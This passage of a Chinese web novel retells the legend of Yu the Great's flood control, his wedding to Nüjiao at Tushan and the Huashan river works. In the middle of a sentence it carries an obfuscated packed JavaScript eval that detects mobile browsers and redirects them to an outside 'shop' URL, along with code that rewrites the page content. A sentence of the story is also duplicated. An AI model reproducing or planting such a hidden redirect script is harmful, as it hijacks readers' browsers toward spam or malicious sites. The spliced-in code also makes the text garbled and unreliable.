禹闻言,陷入了长久的沉默。帐外呼啸的风声和黄河隐隐的波涛声交织在一起。他的思绪不由得飘回了三年前,在那汾水之畔,他初次遇见涂山氏使者,那位静立在水边、眼眸清亮如秋水的女子女娇。彼时,治水方略初定,前途未卜,匆匆一瞥间,那双沉静中带着关切与坚毅的眼睛,以及临别时她赠予的那枚玉石埙,却在他心底留下了难以磨灭的印记。三年来,这石埙一直被他贴身携带,仿佛一件无声的信物。 良久,禹深吸一口气,目光恢复了平日的坚定与清明。他看向皋陶,声音平和却带着力量:“士师之言,深谋远虑,句句在理。禹个人之事小,平水土安万民之事大。若此婚约真能助我治水大业,稳固联盟,使东方生灵免于泽国之苦,禹岂敢因私意而废公义?我愿听从士师建议。” 决心既下,禹即刻命人取来简牍,亲自修书一封。信中,他详细陈明了与涂山氏联姻对于巩固东方、共同治理淮水的战略意义,言辞恳切,并郑重向帝都蒲阪的舜请求允准。他知道,如此重要的联盟,必须得到中央的认可与支持。 “伯益,”禹吩咐道,“此事关系重大,需尽快送达舜前。烦请你遣最迅捷可靠的飞鸟,务必将此信安全送至蒲阪。” 伯益领命:“司空放心,我即刻去办。”他转身出帐,很快,一只毛色光亮、眼神锐利的鸟儿扑棱着翅膀,携带着系在腿上的密信,如一道离弦之箭般冲入云霄,向着西南方的蒲阪疾飞而去。 自黄河龙门至帝都蒲阪,山重水复,路途遥远。即便信使日夜兼程,往返也需近月时光。在这段等待的日子里,禹并未有丝毫懈怠。他继续督导着龙门峡后续的巩固工程,同时开始周密筹划东行涂山之事。他知道,无论舜的回复如何,淮水之患都必须尽快解决。 一日,在核心成员的会议上,禹摊开简陋的地图,询问道:“农正,我等若东行涂山,粮秣物资可还充足?” 弃,这位掌管农耕与粮租的官员,仔细盘算后回答:“回司空,营中存粮,支撑一支精锐小队东行数月,尚可维持。但若需在淮水流域大规模征调民夫、兴修工程,则恐难以为继。届时恐怕需依靠涂山部接应,或就地筹措部分粮草。” 这时,站在帐角阴影处的砺,沉声开口了。自那夜篝火旁向羲青表白心意遭拒之后,这位往日豪爽的汉子变得愈发沉默寡言,他将所有的精力都投入到了军务与工事之中,仿佛只有无尽的劳作才能麻痹内心的失落。此刻,他目光锐利地扫过地图,声音因久未多言而略显沙哑,却异常清晰:“司空,龙门新开,河道尚未完全稳固,下游亦需持续疏导,此地关系重大,必须留重兵把守。砺不才,愿率部分岳卫及熟练工匠留守此地,继续疏通下游河道,加固堤防,确保龙门成果不失。司空可亲率精锐东进,驰援涂山,如此东西两线皆可兼顾。” 禹看向砺,眼中闪过一丝复杂的情感。他何等敏锐,早已察觉砺与羲青之间定然发生了重大变故,但军情紧急,此刻绝非询问私事的时机。他走上前,重重地拍了拍砺宽厚的肩膀,言辞恳切:“如此安排,最为稳妥。砺,留守龙门,责任重大,关乎黄河大局,一切便托付给你了。万不可有失!” 砺抱拳,沉声应道:“谨遵司空之命!砺在,龙门便在!” 禹的目光又转向一旁安静伫立的羲青。她依旧是一身素净的麻衣,神情平静。“青儿,”禹的声音温和了些,“东方水脉异动,星象亦显征兆,需你随行实时观测天象水文,以助判断水情。此外,涂山一带乃上古传说富集之地,山川地理、人文民俗乃至古老旧事,皆可能暗含治水之钥。你可一路仔细记录勘测,既为当下治水察势寻策,亦可为后世留存一份详实的山川风物史料。” 羲青闻言,微微垂眸:“羲青明白,定当尽力。”她的话语简洁,听不出丝毫情绪的涟漪。 这时,身材魁梧的岳盾踏步上前,声如洪钟:“司空,某愿率麾下最精锐的岳卫,护卫您东行!定保一路平安!” 计议已定,众人便各司其职,一边继续龙门工地的收尾工作,一边焦急而有序地等待着帝都的使者。 大约一个月后,当冬日的气息愈发浓重时,舜的使者终于风尘仆仆地赶到了龙门营地。使者不仅带来了舜帝允准联姻的谕令,更当众宣读了舜帝的口谕: “司空禹,克勤于邦,三过家门而不入,劳身焦思,平水土之功,始于龙门,朕心甚慰,天下万民亦感念尔之辛劳!今闻尔欲联姻涂山,以结盟好,固我东陲,共治淮水,此乃深谋远虑之举,朕心甚悦。特赐玄圭副璋一双,以彰信义;素葛五匹,黍稷百斛,以为贺仪。望尔早定佳期,成此良缘,亦使涂山部众,感我中央之德泽,同心协力,共襄治水盛业!” 使者宣谕完毕,又私下对禹转达了舜帝更亲切的嘱咐:“舜言,成家立业,本为一体,相辅相成。望司空勿以此为累,而应视作臂助。” 得到舜的明确允准和殷切祝福,禹心中最后一块石头终于落地,也更加坚定了东行的决心。他即刻点选伯益、羲青、皋陶、弃以及岳盾所率的百名精锐岳卫作为扈从,携带必要的工具以及舜所赐的贵重礼物,辞别了砺和留守的将士,离开了奋战已久的龙门工地,踏上了东赴涂山的征程。 时节已入初冬,寒风萧瑟,落叶满径。队伍沿着黄河东岸迤逦而行,继而转向东南,跋涉于崇山峻岭与蜿蜒河道之间。路途艰险,历时二十余日,方才抵达水势汹涌的淮水流域。 涂山,坐落在淮水南岸,并非一座孤峰,而是一片连绵起伏的丘陵地带,扼守着淮水向东转折的咽喉要冲。山势虽不甚险峻,却林木茂盛,泉流淙淙,显得生机勃勃。涂山氏的主邑便依山傍水而建,垒石为城垣,夯土为屋室,层层叠叠的房舍沿着山势铺开,可以远眺淮水奔腾的波涛。此时虽是冬季,淮水不似夏日泛滥时节那般狂野,但水色依旧浑浊不堪,流速湍急,河岸两旁随处可见新近抗洪忙碌留下的痕迹——堆积的沙袋、加固的木桩、被冲刷的临时堤坝,无不诉说着此地的艰险。 禹一行将至涂山邑的消息早已提前传至。涂山氏的首领,女娇的兄长涂山翳,亲自命人大开邑门,率领族中德高望重的耆老以及一队精神抖擞的精锐武士出迎。迎接的场面隆重而质朴,既显示了足够的尊重,又未有过度铺张的虚礼,符合涂山氏务实的气质。 禹被恭敬地引至涂山翳日常议事堂。堂内燃着温暖的炭火,驱散了冬日的寒意。双方分宾主落座后,涂山翳态度诚挚,言语间却带着一丝不易察觉的审视: “司空远道而来,一路辛苦。龙门峡劈开黄河,功在当代,利在千秋,威名震动华夏,翳与阖族上下,皆深感钦佩。如今淮水之患再起,能得司空亲临施以援手,实乃我涂山氏乃至淮水沿岸各部之幸。”他话锋微转,目光锐利地看向禹,“至于婚约之事……小女娇的心意,我这为兄的自然深知。她自三年前汾水归来,便时常提及司空风姿。却不知司空此番前来,是主要为联盟大局之计,还是……亦对我这妹妹存有几分真心?” 禹坦然迎接着涂山翳的目光,没有丝毫闪躲。他从容地从怀中取出那枚珍藏三年的石埙,置于掌心,声音沉稳而坚定:“主祭明鉴。三年前汾水畔一见,女娇姑娘之风采,禹亦不敢或忘。此埙为证,盟约固然重要,关乎万民福祉,然禹待女娇之心,亦同样出自至诚,绝非纯粹出于功利。今禹奉舜帝之命,特来求娶,愿与涂山氏共结秦晋之好,从此生死相依,祸福与共。” 涂山翳仔细观看着禹的神色,聆听他诚挚的言词,又目光落在他胸前那枚白石埙上,严肃的脸上终于露出了释然而欣慰的笑意:“好!司空快人快语,情深意重!既如此,我涂山氏必倾全族之力,助司空平治淮水!亦愿将吾妹女娇,托付于司空!”当下,双方便定下三日后举行婚礼。 婚礼前,舜帝所赐的贺礼由使者正式交付给涂山翳。那象征权柄与信义的玄圭副璋,显示中央富足与关怀的素帛黍稷,让涂山族人观之无不惊叹,对舜帝与禹的敬重之情倍增,也对这场联姻增添了更多信心与荣耀。 婚礼当日,整个涂山邑内外都洋溢着一派喜庆气氛。虽然时值冬季,天气寒冷,但族人的热情驱散了寒意。隆重的仪式在涂山氏供奉祖先的宗庙前的广场上举行。广场中央燃起了巨大的篝火,熊熊火焰跳跃着,不仅是为了照明和驱寒,更象征着生命与兴旺。 涂山翳的母亲,一位发髻梳得一丝不苟、仪态端庄的老夫人,携着女娇的妹妹——一位眉眼与女娇颇为相似,但神情更为活泼灵动的少女——出席了典礼。老夫人眼中既有嫁女的不舍与伤感,更充满了对联盟未来、对女儿幸福的深切期盼。族中所有重要人物悉数到场,观礼的族人更是围了一层又一层,他们脸上大多洋溢着对禹治水功绩的由衷敬佩以及对涂山氏与华夏中央联盟的衷心拥护。 宗庙前的祭台上,铺着新编织的洁净苇席,上面庄严地陈列着黍、稷、风干的肉脯以及醴酒,这些都是大地慷慨的赐予,象征着对天地祖先的感恩以及对新人未来生活丰足的美好祝愿。 吉时已到,鼓乐声起。新娘女娇在两位族中福寿双全的老妇搀扶下,缓缓步入会场。她身着用朱砂精心染就的赤色麻衣婚服,色彩鲜艳而庄重。如瀑的长发被精心绾成高髻,发间点缀着美丽的羽毛饰物和数枚光润温雅的玉笄,额前垂着细细的珠串,随着她的步伐轻轻摇曳。她的面容被一层薄薄的红色纱巾隐约遮掩,更添了几分神秘与娇美,但那双清亮如水的眼眸,透过珠帘,坚定地望向等待她的禹。 禹今日也换下了平日劳作的风尘仆仆的装束,穿着一身较为正式的司空礼服,虽简朴,却整洁庄重,衬托出他挺拔的身姿和历经风霜却更显坚毅的面容。他站在篝火旁,目光灼灼地注视着向他走来的新娘,眼中充满了温柔与承诺。 舜帝的使者踏步上前,面向众人,朗声宣告:“华夏禹,承父志,续祖业,平水土,开龙门,有功于天下万民!舜帝闻之,四岳荐之,天下归心!今联姻涂山,合两姓之好,结秦晋之盟,旨在共安天下,永治水患!” 婚礼的核心环节是庄严的“盟誓”与“合卺”。在宗庙前,族中威望最高的巫祝高声祷祝天地与涂山氏祖先,祈求福佑。随后,侍者奉上一个剖开的匏瓜,制成两瓢,分别盛满醴酒。禹与女娇各执一瓢,相对而立。 这一刻,广场上鸦雀无声,只有篝火燃烧的噼啪声和淮水隐隐的涛声。二人目光交汇,隔着珠帘与空气,有初为人妇的羞涩,有对未来责任的坚定,更有对彼此、对盟约的郑重承诺。他们共同举起酒瓢,将其中苦涩与甘醇交织的醴酒一饮而尽。这“合卺酒”,寓意着从今往后,二人将同甘共苦,合为一体。 酒入腹中,暖意弥漫开来。观礼的族人爆发出热烈的欢呼声。紧接着,浑厚朴拙的陶鼓与清越的石磬之声响起,众人围着篝火,踏地而歌,唱起了世代相传的祝福歌曲: “南山桐茂,北阪松苍。 新月皎皎,今夕映堂。 兰生幽谷,玉韫山藏。 伊洛汤汤,永誓不忘。 埙谐钟鼓,黍丰稷香。 惟天鉴证,琴瑟共扬。 山无崩裂,川永其疆。 螽斯振羽,瓜瓞绵长。” 歌声朴野而热烈,充满了生命的力量与对美好生活的向往,混合着鼓乐之声、篝火的噼啪作响以及众人欢快的踏步声,仿佛连脚下的大地都为之震动。 在这片普天同庆的欢腾中,不同的人却有着不同的心境。 羲青静静地站在人群外围,火光在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705143|189169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清丽的脸上明灭闪烁。她看着那一对身着红衣的新人,看着他们交饮合卺酒,看着周围人们脸上由衷的笑容,心中不禁泛起一丝难以言说的酸涩与惘然。她想起砺那夜篝火旁灼热而期待的眼神,以及自己最终无奈的拒绝。一种清晰的认知浮上心头:如此盛大而庄严的婚礼,如此被族人与天下祝福的盟约,或许永远也不会属于自己这样注定要与星象山川为伴、行踪不定的人。她悄然握紧了手中的记录简牍,将那一丝悄然滋生的羡慕与失落深深埋入心底,目光重新变得清冷而专注,仿佛只有无尽的知识与观测才能填补那片刻的空虚。 伯益站在稍近些的地方,脸上带着温和的笑意,由衷地为禹感到高兴。然而,当他的目光掠过那些欢歌笑语的涂山少女时,脑海中却不自觉地浮现出岳卫营中那个名叫“凤鸟”的姑娘的身影。她就像她的名字一样,敏捷机警,记忆力超群,奔跑起来像风一样快,尤其善于模仿各种鸟鸣兽叫来传递信息,为他的讯鸟驯养和情报传递帮了不少忙。他想起她明亮好奇的眼睛,想起她和他一起喂养鸟儿时开心的笑容,想起她学习辨认草药时的认真模样……一抹不易察觉的温柔笑意爬上伯益的嘴角,但随即又化为一声轻叹。治水大业未成,前途漫漫,个人的情感,也只能暂且深藏了。 岳盾则咧着大嘴,笑得最为开怀,洪亮的笑声几乎盖过了鼓声。他用力拍着身旁同伴的肩膀,为司空终于成家而感到无比兴奋。看着眼前热闹的婚礼场景,他不禁想起了多年前自己娶妻时的情形。那时他还不是威名赫赫的岳卫统领,只是部落里一个勇猛的年轻战士,婚礼没有这般盛大,却同样充满了真诚的祝福和朴素的快乐。他已经记不清有多少个日夜没有回家看望妻子了,记忆中妻子的面容甚至有些模糊,只记得她亲手酿的粟酒格外甘醇,记得离家时她默默为他收拾行囊、眼中含泪却强忍不哭的样子。一股强烈的思念和愧疚涌上岳盾心头,他暗下决心,待东方水患稍平,定要向司空告假,回去看看家中的妻子。 皋陶立在祭台一侧,见禹与女娇饮下合卺酒,他紧绷的下颌微松,眸底闪过妻子生前温笑的残影 —— 那是唯一能触到他柔肠的人。又念及蒲阪的二子,心绪稍漾,随即敛回:治水司法重责在身,这婚礼是联盟之幸,他需守好律法,方能护得这份安稳长久。 当喧嚣的欢庆人声渐渐散去,燃烧的篝火也只剩下暗红的炭块时,禹与女娇终于在新布置的土屋中独处。墙角一支松明火把顽强地燃烧着,投下温暖而摇曳的光影,将新鞣制的兽皮床榻染上一层柔光。 空气中还弥漫着醴酒的微醺和烟火的气息。禹缓缓走到女娇面前,抬手,指尖轻轻触碰到她依旧覆着薄纱的脸颊。他的动作带着试探,也充满了珍视。女娇微微仰头,透过珠帘,清晰地迎上他的目光。三年前汾水畔的惊鸿一瞥,她年方十七,他二十有七,洪波汹涌间,那短暂的交集,却似早已在彼此生命中埋下了命运的种子。如今她二十,他三十,三年的风霜与各自部族的责任,悄然在他们的眉宇间刻下了成熟的印记,却也让他们眼底深埋的情意,在历经等待后愈发显得灼热而坚定。 他的指腹温柔地抚过她的眼睫,女娇轻轻阖上双眼,长长的睫毛像蝶翼般颤动,随即又睁开。眸中水光潋滟,清晰地映照出他此刻卸下所有重担后,不再掩饰的温柔与一丝近乎陌生的脆弱。他俯下身,一个迟来了三年的吻,终于轻轻落下。初时如春风拂过花瓣,带着小心翼翼的试探和无尽的珍视;继而,却如同积蓄已久的洪流终于冲破了堤防,变得深切而急切,充满了压抑已久的渴望与确认。 只有在这一刻,在这方属于他们的私密天地里,禹才能彻底卸下司空的重任,脱下被万民仰望的威严躯壳。他仿佛变回了一个最寻常不过的青年,生涩而热烈地索求着妻子的温暖与慰藉。“女娇……我终于……见到你了……” 这简短的话语,泄露了那些他从不对外人言说的倦怠、压力与深藏的彷徨。 而女娇,则以掌心轻柔地抚过他因常年操劳而紧蹙的眉宇,掠过他那被风霜染就的鬓角,如同安抚一个历经漫长漂泊、终于得以靠岸的旅人。她没有多言,只是用温暖的怀抱和坚定的回应,告诉他,这里便是他的港湾。墙上,跳动的火光将他们紧密相依的身影放大、摇曳、最终融为一体,短暂,却炽烈如火。这一夜,无关天下苍生,不论洪水滔天。这一夜,只关乎禹和女娇,只是两个以性命相托、以誓言相系的男女,在注定的离别到来之前,贪婪地汲取着对方的体温与气息,确认着彼此的存在。 新婚的甜蜜时光总是短暂。不过数日,淮水下游便传来紧急军报,某处关键堤坝因连日被湍急水流冲刷,出现了渗漏乃至小范围垮塌的险情,情势危急。治水的职责重于泰山,禹必须即刻前往处置。 离别前,禹与女娇、涂山翳进行了商议。禹对女娇说:“水情紧急,我需即刻东下巡视险工,督促进度。前方险地,波劳奔波,你新婚伊始,不宜随我承受这般艰辛。”他顿了顿,语气变得更为柔和而坚定,“我意,请你先行前往我夏部族的故地阳城。那里是我族根基所在,我的伯母姒妪为人慈祥,几位堂姐妹也都性情和善,定能妥善照料于你。阳城地处中原腹地,交通四方,消息传递亦较为便利,日后你我联络,或治水事务需要协调,都会方便许多。” 涂山翳虽心有不舍妹妹刚刚出嫁便要远行,但也深知这是目前最稳妥的安排。让女娇前往夏部族的中心阳城,不仅能确保她的安全,更能加深涂山氏与夏部族的血脉联系与相互了解,对于巩固联盟至关重要。他沉吟片刻,便点头应允:“司空考虑周全,如此甚好。” 老夫人拉着女娇的手,细细嘱咐着离乡远行的种种事项,眼中含泪,小妹更是眼圈泛红,依依不舍。 女娇此刻却显示出异常的镇定与坚强。她望着禹,目光清澈而坚定:“君以天下为先,以万民性命为重,我岂能成为君的拖累。阳城既是君的家园,自然也就是我的家园。我前往阳城,定当尽心侍奉长辈,打理好家园内外,让君无后顾之忧。我会在那里,静候君治水功成,平安归来。” 于是,禹率领伯益、岳盾等精锐部下,匆匆告别了涂山,奔赴淮水险工处。 而女娇,则在涂山翳亲自选派的一队本族精锐护卫,以及皋陶特意留下的一部分熟悉中原路况的岳卫的共同护送下,乘坐着轩车,带着她的嫁妆以及对未来生活的期许,踏上了西去阳城的漫漫长路。淮水在冬日的阴云下汤汤东流,女娇回头,最后望了一眼在视野中渐渐模糊的涂山轮廓,将故乡的山水深深藏于心底,然后毅然转过头,目光坚定地望向西方——那里,将是她的新家,也是她漫长等待的开始,更是她作为禹的妻子,即将承担起的新责任。 9. 第9章:砥柱承天 舜摄政六年,禹治水第四年冬。 淮水之滨的涂山氏领地,在禹的主持与涂山氏部族的全力配合下,险情初步得到控制。然而,庆典的烟火气尚未完全散去,严峻的现实便已摆在面前。伯益通过鸟群带来的讯息和各地汇集的水情表明,黄河中游的壅塞才是根源所在。砥柱山,这座横亘在黄河咽喉的天然巨闸,不仅在上游造成了广阔的湖泽,淹没了大片土地,其带来的水文变化更是波及了整个水系,包括淮水这样的支流。 营帐内,火炬摇曳。禹看着铺在简牍上的水系图,眉头紧锁。跟随他从涂山前来的核心成员——伯益、羲青、弃、岳盾,以及作为联姻纽带和东方事务顾问的皋陶——皆在帐中。女娇则已按计划,在涂山氏护卫和部分岳卫护送下,踏上了前往夏部族故地阳城的旅程。 “淮水之困,暂得缓解,然心病未除。”禹的手指重重地点在砥柱山的位置,“此山不开,黄河不畅,则天下水患难言根本平息。上游雍、梁诸州,更是水深火热。”提及方才收到的西方灾情密报时,声音里带着不易察觉的颤抖。 皋陶捻须沉吟:“司空所言极是。砥柱山确为关键之关键。然我军新定淮水,人马疲惫,且东西悬远,如何兼顾?” 伯益补充道:“据飞鸟探查,砥柱山势极险,岩坚似铁,非龙门可比。更有恶龙盘踞之传闻流传甚广,民夫畏懼,征调必是难题。” 弃面露忧色:“若兴大役,粮草消耗巨大。此地虽得涂山氏接济,然终非长久之计。远征砥柱,补给线漫长,需从长计议。” 禹目光如电扫过众人,决断已下:“势不容缓,当分兵而行,直指要害。皋陶士师,你老成持重,精通律法舆服,善于协调部族关系。请你留驻淮水,代表中央,督导后续河工,安抚涂山氏及周边部族,稳固东方。”他将象征联盟的玉琮郑重交予皋陶,“此玉琮乃涂山翳所赠信物,东方事务,尽托于你。” “砺仍驻守龙门,确保后方河道通畅。然砥柱山非砺其人与麾下精锐不能攻克。待我抵达砥柱,详察情势,即调他前来会师。届时,龙门可由阿牛、芦花等接手。” “伯益、羲青、弃、岳盾,随我即刻西进,直赴砥柱!农正,粮草筹划,你需多费心。岳盾,沿途护卫交由你全权负责。” 计议已定,众人领命。禹辞别涂山翳,感谢其鼎力相助,并承诺必解黄河之困,以报东方。他率领一支精干队伍,踏上了返回黄河主干道、继而西征砥柱山的漫长征途。 队伍行进甚速,禹心系砥柱危局,恨不得插翅而至。阳城,夏部族的故地,也是女娇如今的家,渐渐近了。离城尚有数十里,已能感受到熟悉的气息。禹的心不由自主地加快了跳动,新婚离别已一载,对妻子的思念如影随形。他下意识地摸了摸怀中那枚石埙,那是女娇的赠物。 “司空,前方便是阳城了。是否入城休整一夜?人马亦可稍作补给。”岳盾策马靠近,低声请示。他深知禹的思家之情。 禹勒住马,眺望着远方在夕阳下显出轮廓的城郭,心中波澜汹涌。进城,就能见到女娇,哪怕只是片刻温存,也能慰藉相思之苦。但砥柱山情势不明,早一刻抵达,便能早一刻谋划,可能挽救无数生灵。私情与公义,如同两股巨力撕扯着他。 最终,他狠下心肠,声音因压抑而略显沙哑:“不!时间紧迫,绕城而过,继续赶路。派一快骑先行入城,禀告伯母与……与女娇,就说禹身负王命,治水紧急,无法入城探望,请她们万万保重,勿以我为念。” 说罢,他猛一挥手,队伍改变方向,绕过阳城西侧的道路,马蹄踏起滚滚烟尘。禹始终没有回头,他怕一回头,就再也迈不动离家的脚步。 几乎在禹的队伍刚刚绕过城郭不久,阳城城门内匆匆奔出一行人。为首的女子正是女娇,她身着宽松的衣裙,腹部已明显隆起,脸上交织着期盼与急切。她听闻丈夫途经的消息,立刻不顾劝阻赶来。然而,她只看到远方道路上尚未散尽的尘土,以及一名正要返城复命的夏部族骑士。 “司空……他已走了?”女娇的声音带着不易察觉的颤抖,手不自觉地抚上隆起的腹部。 骑士下马,单膝跪地:“回主母,司空言砥柱山情势万分危急,迟恐生变,实在无法入城停留。司空命小人务必禀告主母,请您千万保重身体,勿要挂念。司空说……待水患平定,必当归家。” 女娇怔怔地望着西方,丈夫的身影早已消失在暮色之中。秋风吹拂着她的发丝,带来一丝凉意。半年多的离别,无尽的担忧,此刻化作滚烫的泪水,无声地滑过脸颊。她强忍着没有哭泣出声,只是对着西方,轻声呢喃,仿佛禹能听见:“你放心去治水罢,家里一切安好……我和孩儿,等你平安归来。”她在侍女的搀扶下,伫立良久,才一步三回头地返回那座没有男主人的城中。 禹率队一路西行,渡过黄河抵达华阴时,冬日的渭水已敛去夏日狂态,裸露的河滩上满是山洪冲刷的巨砾,秦岭北麓如墨色巨屏横亘天际,黄河在此急转腾跃,险滩密布。禹登高眺望。此前他原计划让砺驻守龙门,确保后方河道通畅,待自己抵达砥柱详察后再调其率精锐会师,届时龙门交由阿牛、芦花等人接手。可此刻望着眼前水势,他心中已然明了:欲至砥柱,必先治华阴!他抚怀中神农石耜暗忖:此物虽能引地火,却需借地脉之势。华山岩层错综,强行施用恐致山崩。且石耜善导不善劈。这疏导硬仗,非砺与麾下精锐不可担。 禹遂当机立断传令,调砺即刻率部并五小龙自龙门赶来华阴汇合,五小龙擅长清淤。 治水大军即刻扎营开工。 岳盾督率民夫清理河滩时,忽见六名风尘仆仆的雍梁子弟求见。为首的青年雍钺上前陈词:“吾等久慕司空治水之德,愿效犬马之劳!”治水大军即刻扎营开工。岳盾督率民夫清理河滩时,忽见六名风尘仆仆的雍梁子弟求见。原来他们来自受水患最深的雍州山地,各怀绝技:猎户之子姜石善射,巴山女巴瑶通水性,农汉雍钺力大擅开山,藤匠之女藤女巧手编索,羌笛少年通鸟兽,药叟孙女辛夷辨百草。 禹见其诚,分派职司,六人的加入为平水土之师注入了新的活力。 然而,工程进展极其缓慢。华山地段岩层虽然不如砥柱山那般坚硬,却也十分破碎,开挖过程中塌方事故频发。禹命人以木笼装石,加固河基,效果有限。对于渭河泥沙沉积形成的“水下暗滩”,严重影响航道,禹与工匠们苦苦思索对策。 一日,禹观察民夫用简陋工具清理河床,效率低下。他蹲在河边,捡起一根树枝,在泥地上划动,思索着如何能更有效地刮除淤泥。忽然,他看到水中漂浮的一片宽大树叶,在水流带动下,能带走底部的细沙。灵感乍现!他立刻召集工匠,“我们能否制作一种大型的木耙,前端有齿,后方有框,用绳索牵引,多人操作,在水底刮行,以此清除淤泥?” 工匠们议论纷纷,经过数次尝试,一种名为“杼”的木质清淤耙被发明出来。它以坚韧的木材为架,下端嵌有硬木齿,上端系有粗麻绳,由数名壮汉在岸上或船上拉拽,在河底拖行,能有效地将淤泥刮起,再由水流冲走。禹亲自下水示范,民夫们见司空如此,士气大振,“杼”很快被推广使用,航道疏浚效率大大提高。 虽然有了 “杼” 省却不少清淤人力,可面对华山北麓陡峭的岩壁与厚重岩层,开山辟岭的工程依旧举步维艰。 至第十日清晨,远处尘烟滚滚,砺率龙门精锐风尘仆仆地兼程而至,五条小龙紧随其后。众人见援军到来,皆面露喜色,伯益、岳盾率先迎上,与砺大力相拥。 唯有羲青站在人群稍远处,望着那热闹的场景,心头像被细刺轻扎,五味杂陈。自龙门峡拒绝砺的求婚后,他眼底的热意便渐渐淡去,如今又经这段分离,两人间更添了层说不清的隔阂。正怔忡间,一道黑衣身影快步奔来,墨琛化作的少女一把将她抱住,清脆的笑声撞入耳膜,才稍稍驱散了她心头的滞涩。 那边砺却似未察她的目光,偶尔抬眼瞥见远远立着的羲青,心头掠过一阵涩意,却又迅速压下 —— 治水事大,容不得儿女情长。他转身迎向禹,沉声说道:“司空,我已看过周遭山势,若要疏导河道,火焚水激之法最为可行。” 稍作休息,砺便即刻督率工匠行动 —— 众人挥着石斧、木楔在陡峭岩壁上反复凿刻,好不容易开出蜿蜒的浅火道,随即扛来捆捆干柴堆满其中。燧石打出火星,柴薪轰然燃起,浓烟裹着赤红火星腾跃而上,将岩壁熏得发烫发黑;待石面灼得能映出人影,砺一声令下,民夫们抬着陶罐齐齐泼出梅浆水,“滋啦” 一声脆响刺透嘈杂,冰凉液体撞上热岩瞬间蒸腾,碎石伴着噼啪裂响簌簌滚落。 可华山北麓的山体实在巍峨,岩层厚逾数丈,即便火焚水激见效,每日也仅能凿开数尺。民夫们白日扛柴、泼梅浆,夜里还要修补磨损的工具,手上的血泡磨破了又起,起初的干劲渐渐被漫漫长日磨得淡了,望着眼前望不到头的岩壁,无力感像潮水印般悄悄漫上每个人心头。 禹每日巡行工地,脚步总在新凿的岩缝前停下。他蹲下身,指尖抚过粗糙发烫的石壁,目光掠过民夫们低垂的肩头与疲惫的神色,忧绪如藤蔓缠紧心口 —— 这般进度,若等凿通河道,怕是早误了来年汛期。他深知,单凭人力硬抗,纵有巧法也难敌天险,必须尽快寻得更强劲的非常之法,才能破此困局。 这一夜,禹召来巫盼。巫盼不仅是医者,更是部族中能与天地沟通的大巫,随身携带的玉璧乃是传承已久的通灵之物。 “巫盼,”禹神色凝重,“昔年河伯冯夷赠我河图,深谙黄河水脉。又有传闻,华山之险,非巨灵之神不能开。不知你能否以巫祝之法,沟通二神?” 巫盼沉吟片刻,缓缓道:“此事我确曾听闻,河伯冯夷与巨灵神皆司黄河水事。巨灵神乃开山导河之神,力可拔山。然神灵之事,在诚不在求。吾这玉璧与司空玄圭同出颛顼天帝一脉,或可感通。且待设坛祷祝,缘法自定。” 禹毫不犹豫地答应。三日后,在华山脚下,黄河之滨,一座高高的祭坛搭建起来。牺牲、醴酒、玉帛陈列其上。巫盼身着玄色巫袍,手持玉璧,吟唱着悠远苍凉的祷文: “巍巍华山,黄河之险。 颛顼有灵,玄圭为凭。 今有司空,奉帝命而行; 百万生灵,望水道而泣。 伏请河伯,显水脉之机; 恭迎巨灵,展开山之能。 玉璧为信,苍生为念, 惟神垂听,惟天鉴诚!” 禹率领伯益、弃、岳盾等核心成员,沐浴更衣,虔诚跪拜。羲青在一旁静静记录着这一切,包括祭坛的规制、巫盼的仪式、以及周围肃穆的氛围。那五条小龙也安静地盘旋在祭坛周围,似乎感受到了某种神圣的气息。 巫盼的祷祝声越来越高亢,他手中的玉璧开始散发出柔和的光芒。 忽然间,黄河之水无风起浪,一道清冽的水汽自河中升腾而起,凝聚成一位身着水蓝色长袍、面容清雅、手持水玉的中年文士形象,踏波而来,正是河伯冯夷。他曾赠禹河图,此次感应到禹的至诚与巫盼的召唤,再次现身。 巨灵神俯瞰下方万千期盼的面孔,朗声大笑:“好!念你一片公心,为民请命,吾便助你一臂之力!” 此时伯益已率人驱散山中生灵。巨灵神迈开巨步至山前,双臂插入山基,一声暴喝如惊雷炸响!只见他虬结的肌肉骤然贲张,周身泛起土黄色神光,那坚硬山岩在他手中竟如泥塑般被向两侧擘开。地动山摇间,一道宽阔缺口赫然出现。 河伯同时施法,袖中飞出一道清冽水练,如游龙般引导渭水顺新缺奔涌。原本顶托湍急的水势顿时变得顺畅。 巨灵神收回双臂,震落掌间碎石,对禹颔首:“河道已开,好自为之。”又转向河伯笑道,“冯夷老友,今日痛快!他日若遇难开之山,尽管唤我。”说罢身形渐淡,如融入山石般消失不见,只余余音在山谷回响。 河伯冯夷则化作缕缕水汽,声音随着水波荡漾远去:“水道虽通,养护在人。望司空善加疏导,莫负今日之功......”话音未落,已随渭水清波消散无踪。 神明既去,五小龙立即欢腾入水。但见金鳞龙首当其冲,龙尾如巨帚扫过河床,掀起层层淤泥;苍鬃龙喷吐炽热龙息,将淤积的腐草枯枝尽数焚化;云踪龙以坚鳞开路,撞碎水下暗礁;墨琛龙引动清流,将浊泥冲往下游;赤须龙最为灵巧,在狭窄处穿梭,以龙爪清理石缝顽垢。五龙各显神通,恰似五道彩练在河中翻飞。 在场众人目睹这接连神迹,无不瞠目结舌。先是跪拜神明开山之威,又见五龙清淤之妙,顿时欢呼震天。羲青奋笔疾书,将神影龙姿尽数记录。 自此,华山导流工程势如破竹。砺率部加固河道,民夫沿用“杼”具疏浚。禹立于新开河道旁,但见水势顺服东去,心中不胜欣慰。 这些日子,羲青总撞见砺与藤女一处,心口阵阵发紧。见他们绑山石时指尖轻触,工棚里藤女把粥中豆子拨给砺,笑眼弯弯。本该是自己伴在砺身边,可她怨不得人,是她先把砺的心意推了回去,总不能因为自己心里空落落的,就不许他寻旁人暖着。 一日,羲青独自在华山深处勘察地质,遇见一位白发苍苍的采药老人。老人见她气度不凡,便与她攀谈,指点她认识各种草药。当走到一处背阴的岩缝时,老人指着一丛叶片肥厚、开着不起眼白花的草说:“女娃,此草名蓇蓉,切记,万万不可误食。” 羲青好奇:“老人家,此草有何特性?” 